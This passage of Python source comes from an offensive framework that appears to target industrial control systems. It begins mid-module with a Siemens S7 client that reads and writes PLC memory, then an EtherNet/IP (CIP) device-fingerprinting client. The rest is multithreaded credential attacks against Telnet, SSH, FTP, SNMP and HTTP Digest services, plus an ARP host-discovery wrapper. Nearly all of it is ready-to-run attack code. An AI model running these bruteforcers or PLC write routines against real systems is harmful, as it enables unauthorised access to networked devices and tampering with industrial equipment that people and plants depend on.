address = int(address_data[0]) * 8 + int(address_data[1]) elif isinstance(item[1], int): address = item[1] else: self.logger.error( "Address: %s is not string or int format, please check again" % item[1]) transport_size = self.get_transport_size_from_data_type(item[2]) except Exception as err: self.logger.error( "Can't get item parameter with var_name: %s with error: \r %s" % (item, err)) return transport_size, block_num, area_type, address return transport_size, block_num, area_type, address @staticmethod def bytes_to_bit_array(bytes_data): bit_array = "" for data in bytes_data: bit_array += '{:08b}'.format(ord(data)) return map(int, list(bit_array)) def _unpack_data_with_transport_size(self, req_item, rsp_item): # ref http://www.plcdev.com/step_7_elementary_data_types if isinstance(rsp_item, S7ReadVarDataItemsRsp): try: req_type = req_item.TransportSize if req_type not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys(): return [] # BIT (0x01) elif req_type == 0x01: bit_list = self.bytes_to_bit_array(rsp_item.Data) return bit_list[-1:][0] # BYTE (0x02) elif req_type == 0x02: byte_list = list(rsp_item.Data) return map(ord, byte_list) # CHAR (0x03) elif req_type == 0x03: char_list = list(rsp_item.Data) return char_list # WORD (0x04) 2 bytes Decimal number unsigned elif req_type == 0x04: word_data = rsp_item.Data word_list = [ struct.unpack('!H', word_data[i:i + 2])[0] for i in range(0, len(word_data), 2) ] return word_list # INT (0x05) 2 bytes Decimal number signed elif req_type == 0x05: int_data = rsp_item.Data int_list = [ struct.unpack('!h', int_data[i:i + 2])[0] for i in range(0, len(int_data), 2) ] return int_list # DWORD (0x06) 4 bytes Decimal number unsigned elif req_type == 0x06: dword_data = rsp_item.Data dword_list = [ struct.unpack('!I', dword_data[i:i + 4])[0] for i in range(0, len(dword_data), 4) ] return dword_list # DINT (0x07) 4 bytes Decimal number signed elif req_type == 0x07: dint_data = rsp_item.Data dint_list = [ struct.unpack('!i', dint_data[i:i + 4])[0] for i in range(0, len(dint_data), 4) ] return dint_list # REAL (0x08) 4 bytes IEEE Floating-point number elif req_type == 0x08: dint_data = rsp_item.Data dint_list = [ struct.unpack('!f', dint_data[i:i + 4])[0] for i in range(0, len(dint_data), 4) ] return dint_list else: return rsp_item.Data except Exception as err: return [] return [] @staticmethod def _pack_data_with_transport_size(req_item, data_list): # ref http://www.plcdev.com/step_7_elementary_data_types if isinstance(req_item, S7WriteVarItemsReq): try: req_type = req_item.TransportSize if req_type not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys(): return [] # BIT (0x01) elif req_type == 0x01: # Only support write 1 bit. if isinstance(data_list, list): bit_data = chr(data_list[0]) else: bit_data = chr(data_list) return bit_data # BYTE (0x02) elif req_type == 0x02: byte_data = ''.join(chr(x) for x in data_list) return byte_data # CHAR (0x03) elif req_type == 0x03: char_data = ''.join(x for x in data_list) return char_data # WORD (0x04) 2 bytes Decimal number unsigned elif req_type == 0x04: word_data = ''.join( struct.pack('!H', x) for x in data_list) return word_data # INT (0x05) 2 bytes Decimal number signed elif req_type == 0x05: int_data = ''.join(struct.pack('!h', x) for x in data_list) return int_data # DWORD (0x06) 4 bytes Decimal number unsigned elif req_type == 0x06: dword_data = ''.join( struct.pack('!I', x) for x in data_list) return dword_data # DINT (0x07) 4 bytes Decimal number signed elif req_type == 0x07: dint_data = ''.join( struct.pack('!i', x) for x in data_list) return dint_data # REAL (0x08) 4 bytes IEEE Floating-point number elif req_type == 0x08: real_data = ''.join( struct.pack('!f', x) for x in data_list) return real_data # Other data else: other_data = ''.join(x for x in data_list) return other_data except Exception as err: return '' return '' @staticmethod def _convert_transport_size_from_parm_to_data(parm_transport_size): if parm_transport_size not in S7_TRANSPORT_SIZE_IN_PARM_ITEMS.keys(): return None else: # BIT (0x03) if parm_transport_size == 0x01: return 0x03 # BYTE/WORD/DWORD (0x04) elif parm_transport_size in (0x02, 0x04, 0x06): return 0x04 # INTEGER (0x05) elif parm_transport_size in (0x05, 0x07): return 0x05 # REAL (0x07) elif parm_transport_size == 0x08: return 0x07 # OCTET STRING (0x09) else: return 0x09 def read_var(self, items): """ :param items: :return: Return data list of read_var items. """ read_items = [] items_data = [] if isinstance(items, list): for i in range(len(items)): try: transport_size, block_num, area_type, address = self.get_item_pram_from_item( items[i]) length = int(items[i][3]) if transport_size: read_items.append( S7ReadVarItemsReq(TransportSize=transport_size, GetLength=length, BlockNum=block_num, AREAType=area_type, Address=address)) except Exception as err: self.logger.error( "Can't create read var packet because of: \r %s" % err) return None else: self.logger.error("items is not list please check again") return None packet = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7ReadVarParameterReq(Items=read_items)) rsp = self.send_receive_s7_packet(packet) if rsp.ErrorClass != 0x0: self.logger.error("Can't Read var from Target") self.logger.error("Error Class: %s, Error Code %s" % (rsp.ErrorClass, rsp.ErrorCode)) return None if rsp.haslayer(S7ReadVarDataItemsRsp): for i in range(len(rsp[S7ReadVarDataRsp].Items)): req_item = read_items[i][S7ReadVarItemsReq] rsp_item = rsp[S7ReadVarDataRsp].Items[i] if rsp_item.ReturnCode == 0xff: rsp_item_data = self._unpack_data_with_transport_size( req_item, rsp_item) items_data.append(rsp_item_data) else: items_data.append('') return items_data def write_var(self, items): """ :param items: :return: """ write_items = [] items_data = [] write_data_rsp = [] if isinstance(items, list): for i in range(len(items)): try: transport_size, block_num, area_type, address = self.get_item_pram_from_item( items[i]) length = len(items[i][3]) if transport_size: write_items.append( S7WriteVarItemsReq(TransportSize=transport_size, ItemCount=length, BlockNum=block_num, AREAType=area_type, BitAddress=address)) write_data = self._pack_data_with_transport_size( write_items[i], items[i][3]) items_data.append( S7WriteVarDataItemsReq( TransportSize=self. _convert_transport_size_from_parm_to_data( transport_size), Data=write_data)) except Exception as err: self.logger.error( "Can't create write var packet because of: \r %s" % err) return None else: self.logger.error("items is not list please check again") return None packet = TPKT() / COTPDT(EOT=1) / S7Header( ROSCTR="Job", Parameters=S7WriteVarParameterReq(Items=write_items), Data=S7WriteVarDataReq(Items=items_data)) rsp = self.send_receive_s7_packet(packet) if rsp.ErrorClass != 0x0: self.logger.error("Can't write var to Target.") self.logger.error("Error Class: %s, Error Code %s" % (rsp.ErrorClass, rsp.ErrorCode)) return None if rsp.haslayer(S7WriteVarDataRsp): for rsp_items in rsp[S7WriteVarDataRsp].Items: write_data_rsp.append(rsp_items.ReturnCode) return write_data_rsp else: self.logger.error("Unknown response packet format.") return None
class Exploit(Base): __info__ = { 'name': 'clients/cip', 'display_name': 'CIP Client', 'description': '', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ '', ], 'devices': [ 'Multi', ], } target = Option('', 'Target IP address') port = Option(44818, 'Target port') timeout = Option(2, 'Connection timeout') def __init__(self, name=""): if name is not None: super(Exploit, self).__init__(name) else: super(Exploit, self).__init__('CipClient') self._connection = None self._target_info = {} self._session = 0x0 self.target_info = {} def run(self): self.connect() def connect(self): sock = socket.socket() sock.settimeout(self.timeout) sock.connect((self.target, self.port)) self._connection = StreamSocket(sock, Raw) packet_1 = ENIPHeader(Command=0x65) / RegisterSession() rsp_1 = self.send_receive_cip_packet(packet_1) try: if rsp_1.haslayer(ENIPHeader): self._session = rsp_1.Session except Exception as err: self.logger.error(err) return def reconnect(self): self.connect() def _fix_session(self, packet): try: packet.Session = self._session return packet except Exception as err: self.logger.error(err) return packet def send_packet(self, packet): if self._connection: try: self._connection.send(packet) except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def send_receive_packet(self, packet): if self._connection: try: rsp = self._connection.sr1(packet, timeout=self.timeout) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def receive_packet(self): if self._connection: try: rsp = self._connection.recv() return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before receive packet!") def send_cip_packet(self, packet): if self._connection: packet = self._fix_session(packet) try: self._connection.send(packet) except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def send_receive_cip_packet(self, packet): if self._connection: packet = self._fix_session(packet) # packet.show2() try: rsp = self._connection.sr1(packet, timeout=self.timeout) if rsp: rsp = ENIPHeader(str(rsp)) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before send packet!") def receive_cip_packet(self): if self._connection: try: rsp = self._connection.recv() if rsp: rsp = ENIPHeader(str(rsp)) return rsp except Exception as err: self.logger.error(err) return None else: self.logger.error("Please create connect before receive packet!") def get_target_info(self, port=0x01, port_segment=0x00): product_name = '' device_type = '' vendor = '' revision = '' serial_number = '' info_packet = ENIPHeader(Command=0x6f) / CIPCommandSpecificData() / \ CIPHeader(Type="Request", Service=0x52, ) / \ CIPConnectionManager() info_packet[CIPCommandSpecificData].Items = [ NullAddressItem(), UnconnectedDataItem() ] info_packet[CIPHeader].RequestPath = [ CIPRequestPath(PathSegmentType=1, InstanceSegment=0x06), CIPRequestPath(PathSegmentType=1, LogicalSegmentType=0x01, InstanceSegment=0x01) ] info_packet[CIPConnectionManager].MessageRequest = CIPHeader( Type="Request", Service=0x01, RequestPath=[ CIPRequestPath(PathSegmentType=1, InstanceSegment=0x01), CIPRequestPath(PathSegmentType=1, LogicalSegmentType=0x01, InstanceSegment=0x01) ]) info_packet[CIPRoutePath].Port = port info_packet[CIPRoutePath].PortSegment = port_segment rsp = self.send_receive_cip_packet(info_packet) if rsp.haslayer(CIPHeader): if rsp[CIPHeader].GeneralStatus == 0x00: try: if rsp.haslayer(GetAttributesAll): product_name = rsp[GetAttributesAll].ProductName device_type = rsp[GetAttributesAll].DeviceType if device_type in DEVICE_TYPES.keys(): device_type = DEVICE_TYPES[device_type] else: device_type = "%s (%s)" % (product_name, hex(device_type)) vendor = rsp[GetAttributesAll].VendorID if vendor in VENDOR_IDS.keys(): vendor = VENDOR_IDS[vendor] else: vendor = "%s (%s)" % (product_name, hex(vendor)) revision = str(rsp[GetAttributesAll].MajorRevision) + '.' \ + str(rsp[GetAttributesAll].MinorRevision) serial_number = hex(rsp[GetAttributesAll].SerialNumber) except Exception as err: pass else: self.logger.warning( "Got Error Code:%s when get target info with port:%s and port_segment:%s" % (port, port_segment, rsp[CIPHeader].GeneralStatus)) return product_name, device_type, vendor, revision, serial_number
class Exploit(Exploit): """ Module perform dictionary attack with default credentials against Telnet service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'credentials/telnet/default', 'display_name': 'Telnet Default Creds', 'description': 'Module perform dictionary attack with default credentials against Telnet service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('', 'Target IP address or file with target:port (file://)') port = Option(23, 'Target port') threads = Option(8, 'Numbers of threads') defaults = Option(Wordlists.telnet_defaults, 'User:Pass or file with default credentials (file://)') verbosity = Option('yes', 'Display authentication attempts') stop_on_success = Option('yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): try: tn = telnetlib.Telnet(self.target, self.port) tn.expect(["login: "******"Login: "******"Connection error {}:{}".format( self.target, self.port)) return if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] collection = LockedIterator(defaults) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() except StopIteration: break else: retries = 0 while retries < 3: try: tn = telnetlib.Telnet(self.target, self.port) tn.expect(["Login: "******"login: "******"\r\n") tn.expect(["Password: "******"password"], 5) tn.write(password + "\r\n") tn.write("\r\n") (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5) tn.close() if i != -1: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) else: if any(map(lambda x: x in res, [ "#", "$", ">" ])) or len(res) > 500: # big banner e.g. mikrotik if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) tn.close() break except EOFError: print_error(name, "Connection problem. Retrying...", verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return continue print_status(name, 'process is terminated.', verbose=module_verbosity)
class Exploit(Exploit): """ Module perform dictionary attack with default credentials against SSH service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'credentials/ssh/default', 'display_name': 'SSH Default Creds', 'description': 'Module perform dictionary attack with default credentials against SSH service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('', 'Target IP address or file with target:port (file://)') port = Option(22, 'Target port') threads = Option(8, 'Numbers of threads') defaults = Option(Wordlists.defaults, 'User:Pass or file with default credentials (file://)') verbosity = Option('yes', 'Display authentication attempts') stop_on_success = Option('yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): ssh = paramiko.SSHClient() try: ssh.connect(self.target, port=self.port) except socket.error: print_error("Connection error: %s:%s" % (self.target, str(self.port))) ssh.close() return except: pass ssh.close() if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] collection = LockedIterator(defaults) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) print_status(name, 'process is starting...', verbose=module_verbosity) while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() ssh.connect(self.target, int(self.port), timeout=5, username=user, password=password) except StopIteration: break except paramiko.ssh_exception.SSHException as err: ssh.close() print_error( "Target: {}:{} {}: {} Username: '******' Password: '******'". format(self.target, self.port, name, err, user, password), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) print_status(name, 'process is terminated.', verbose=module_verbosity)
class Exploit(Exploit): """ Module perform dictionary attack with default credentials against FTP service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'credentials/ftp/default', 'display_name': 'FTP Default Credentials', 'description': 'Module perform dictionary attack with default credentials against FTP service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('192.168.1.1', 'Target IP address or file with target:port (file://)') port = Option(21, 'Target port') threads = Option(8, 'Numbers of threads') defaults = Option( Wordlists.ftp_defaults, 'User:Pass pair or file with default credentials (file://)') verbosity = Option('yes', 'Display authentication attempts') stop_on_success = Option('yes', 'Stop on first valid authentication attempt') credentials = [] def run(self): self.credentials = [] self.attack() @multi def attack(self): ftp = ftplib.FTP() try: ftp.connect(self.target, port=int(self.port), timeout=10) except (socket.error, socket.timeout): print_error("Connection error: %s:%s" % (self.target, str(self.port))) ftp.close() return except: pass ftp.close() if self.defaults.startswith('file://'): defaults = open(self.defaults[7:], 'r') else: defaults = [self.defaults] collection = LockedIterator(defaults) self.run_threads(self.threads, self.target_function, collection) if len(self.credentials): print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'process is starting...', verbose=module_verbosity) ftp = ftplib.FTP() while running.is_set(): try: line = data.next().split(":") user = line[0].strip() password = line[1].strip() except StopIteration: break else: retries = 0 while retries < 3: try: ftp.connect(self.target, port=int(self.port), timeout=10) break except: print_error( "{} Connection problem. Retrying...".format(name), verbose=module_verbosity) retries += 1 if retries > 2: print_error( "Too much connection problems. Quiting...", verbose=module_verbosity) return try: ftp.login(user, password) if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) self.credentials.append( (self.target, self.port, user, password)) except: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=module_verbosity) ftp.close() print_status(name, 'process is terminated.', verbose=module_verbosity)
class Exploit(Exploit): __info__ = { 'name': 'discovery/netdiscover', 'display_name': 'Passive ARP Host Discovery', 'authors': [ 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'description': 'Passive host discovery using Netdiscover.', 'references': [ 'https://github.com/alexxy/netdiscover', ], 'devices': [ 'Multi' ], } result = [] target = Option('', "Target IP range ex 192.168.0.0/24 /16 /8. Empty for auto mode.", validators=Validators.ipv4) iface = Option('eth0', "Interface for ARP packet capture.") mode = Option('passive', 'Discover mode: active (send packets) or passive (listen only).') timeout = Option(15, 'Capture timeout in seconds.') def run(self): try: try: if self.target == "": if self.mode == 'active': p = subprocess.Popen(['netdiscover', '-i', self.iface, '-P', '-N'], stdout=subprocess.PIPE) else: p = subprocess.Popen(['netdiscover', '-i', self.iface, '-p', '-P', '-N'], stdout=subprocess.PIPE) else: if self.mode == 'active': p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-P', '-N'], stdout=subprocess.PIPE) else: p = subprocess.Popen(['netdiscover', '-i', self.iface, '-r', self.target, '-p', '-P', '-N'], stdout=subprocess.PIPE) output, error = p.communicate(timeout=self.timeout) except: p.kill() output, error = p.communicate() for x in output.decode().split('\n'): if x != "": if len(x.split()) >= 5: self.result.append([x.split()[0],x.split()[1],x.split()[2], x.split()[3], " ".join(x.split()[4:])]) else: self.result.append([x.split()[0], x.split()[1], x.split()[2], x.split()[3], ""]) unique_device = [list(x) for x in set(tuple(x) for x in self.result)] unique_device = sorted(unique_device, key=lambda x: (x[0], x[1])) if len(self.result) > 0: print_success("Found %s devices." % len(self.result)) printTable(TABLE_HEADER, *unique_device, **{'max_column_length': 50}) print('\r') self.result = [] else: print_error("Didn't find any device on network %s" % self.target) except Exception as e: print_error(e) print_error("Discovery Error. Aborting. May increase timeout.")
class Exploit(Exploit): """ Module performs bruteforce attack against SNMP service. If valid community string is found, it is displayed to the user. """ __info__ = { 'name': 'credentials/snmp/bruteforce', 'name': 'SNMP Bruteforce', 'description': 'Module performs bruteforce attack against SNMP service. ' 'If valid community string is found, it is displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('', 'Target IP address or file with target:port (file://)') port = Option(161, 'Target port', validators=Validators.integer) version = Option(2, 'Snmp version 1:v1, 2:v2c', validators=Validators.integer) threads = Option(8, 'Number of threads') snmp = Option(Wordlists.snmp, 'Community string or file with community strings (file://)') verbosity = Option('yes', 'Display authentication attempts') stop_on_success = Option('yes', 'Stop on first valid community string') strings = [] def run(self): self.strings = [] self.attack() @multi def attack(self): # todo: check if service is up if self.snmp.startswith('file://'): snmp = open(self.snmp[7:], 'r') else: snmp = [self.snmp] collection = LockedIterator(snmp) self.run_threads(self.threads, self.target_function, collection) if len(self.strings): print_success("Credentials found!") headers = ("Target", "Port", "Community Strings") printTable(headers, *self.strings) else: print_error("Valid community strings not found") def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name print_status(name, 'thread is starting...', verbose=module_verbosity) cmdGen = cmdgen.CommandGenerator() while running.is_set(): try: string = data.next().strip() errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( cmdgen.CommunityData(string, mpModel=self.version - 1), cmdgen.UdpTransportTarget((self.target, self.port)), '1.3.6.1.2.1.1.1.0', ) if errorIndication or errorStatus: print_error( "Target: {}:{} {}: Invalid community string - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) else: if boolify(self.stop_on_success): running.clear() print_success( "Target: {}:{} {}: Valid community string found - String: '{}'" .format(self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) except StopIteration: break print_status(name, 'thread is terminated.', verbose=module_verbosity)
class Exploit(Exploit): """ Module performs bruteforce attack against HTTP Digest Auth service. If valid credentials are found, they are displayed to the user. """ __info__ = { 'name': 'credentials/http/digest_bruteforce', 'display_name': 'HTTP Digest Bruteforce', 'description': 'Module performs bruteforce attack against HTTP Digest Auth service. ' 'If valid credentials are found, they are displayed to the user.', 'authors': [ 'Marcin Bury <marcin.bury[at]reverse-shell.com>', 'Alexander Yakovlev <https://github.com/toxydose>', 'D0ubl3G <d0ubl3g[at]protonmail.com>', ], 'references': [ 'https://github.com/dark-lbp/isf', ], 'devices': [ 'Multi', ], } target = Option('192.168.1.1', 'Target IP address or file with target:port (file://)') port = Option(80, 'Target port') threads = Option(8, 'Numbers of threads') usernames = Option('admin', 'Username or file with usernames (file://)') passwords = Option(Wordlists.passwords, 'Password or file with passwords (file://)') path = Option('/', 'URL Path') verbosity = Option(True, 'Display authentication attempts', validators=Validators.boolify) stop_on_success = Option(True, 'Stop on first valid authentication attempt', validators=Validators.boolify) def run(self): self.credentials = [] self.attack() @multi def attack(self): url = "{}:{}{}".format(self.target, self.port, self.path) response = http_request(method="GET", url=url) if response is None: return if response.status_code != 401: print_status("Target is not protected by Digest Auth") return if self.usernames.startswith('file://'): usernames = open(self.usernames[7:], 'r') else: usernames = [self.usernames] if self.passwords.startswith('file://'): passwords = open(self.passwords[7:], 'r') else: passwords = [self.passwords] collection = itertools.product(usernames, passwords) with Threads.ThreadPoolExecutor(self.threads) as executor: for record in collection: executor.submit(self.target_function, url, record) if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Login", "Password") printTable(headers, *self.credentials) else: print_error("Credentials not found") def target_function(self, url, creds): name = threading.current_thread().name user, password = creds user = user.encode('utf-8').strip() password = password.encode('utf-8').strip() response = http_request(method="GET", url=url, auth=HTTPDigestAuth(user, password)) if response is not None and response.status_code != 401: print_success( "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=self.verbosity) self.credentials.append((self.target, self.port, user, password)) if self.stop_on_success: raise Threads.StopThreadPoolExecutor else: print_error( "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'" .format(self.target, self.port, name, user, password), verbose=self.verbosity)